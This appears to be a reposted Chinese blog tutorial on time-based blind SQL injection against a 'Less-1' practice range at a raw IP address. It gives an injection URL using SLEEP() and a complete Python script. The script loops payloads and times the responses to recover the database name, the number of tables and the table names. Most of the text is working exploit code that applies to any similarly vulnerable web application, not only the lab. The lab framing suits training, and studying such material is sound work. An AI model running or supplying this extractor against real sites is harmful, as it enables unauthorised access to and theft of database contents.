http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())=8,sleep(5),0) --+ 注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立 即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
import requests url1 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())={_}, sleep(5), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr(database(),{_},1))={__}, sleep(5), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1‘ and if ((select count(*) from information_schema.tables where table_schema={_})={__}, sleep(5), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr((select table_name from information_schema.tables where table_schema={_} limit {__},1),{___},1))={____}, sleep(5),0 ) --+" ################################################################ # 函数功能:猜解数据库名的长度 # 参数意义:n 长度范围 # 返回结果:成功:数据库名长度 # 失败:0 ################################################################ def getLength(n): for i in range(1, n + 1): payload = url1.format( _ = i) print (payload) ans = requests.get(payload) #响应时间大于等于5秒说明猜解正确 if (ans.elapsed.seconds >= 5): return (i) break else: continue return (0) ################################################################ # 函数功能:猜解数据库名 # 参数意义:length 数据库名的长度 # 返回结果:成功:数据库名字符串 # 失败:空字符串 ################################################################ def getName(length): database = "" #数据库名初始化为空字符串 for i in range(1, length + 1): for j in range(1, 128): payload = url2.format( _ = i, __ = j) print (payload) ans = requests.get(payload) #响应时间大于等于5秒说明猜解正确 if (ans.elapsed.seconds >= 5): database += chr(j) break else: continue return (database) ################################################################ # 函数功能:猜解数据库中表的数量 # 参数意义:database 数据库名 # n 表的数量范围 # 返回结果:成功:表的数量 # 失败:0 ################################################################ def getTablesNum(database, n): for i in range(1, n + 1): payload = url3.format( _ = " ‘"+ database + "‘", __ = i) print (payload) ans = requests.get(payload) if (ans.elapsed.seconds >= 5): return (i) break else: continue return (0) ################################################################ # 函数功能:猜解表名 # 参数意义:database 数据库名 # tablesNum 表的数量 # tableNameLength 表名的长度范围 # 返回结果:所有表名的list数组 ################################################################ def getTablesName(database, tablesNum, tableNameLength): table = "" tables = [] for i in range(1, tablesNum + 1): for j in range(1, tableNameLength + 1): for k in range(1, 128): payload = url4.format( _ = "‘" + database + "‘", __ = i-1, ___ = j, ____ = k) print (payload) ans = requests.get(payload) if (ans.elapsed.seconds >= 5): table += chr(k) break else: continue tables.append(table) table = "" return (tables) ################################################################ # # 主函数 # ################################################################ if __name__=="__main__": length = getLength(10) database = getName(length) tablesNum = getTablesNum(database, 10) tables = getTablesName(database, tablesNum, 8) print ("数据库名的长度为:" + str(length)) print ("数据库名为:" + database) print ("数据库中表的数量为:" + str(tablesNum)) print ("所有表如下:") for table in tables: print (table)
原文地址:https://www.cnblogs.com/soldierback/p/11440044.html
时间: 2024-11-05 06:18:18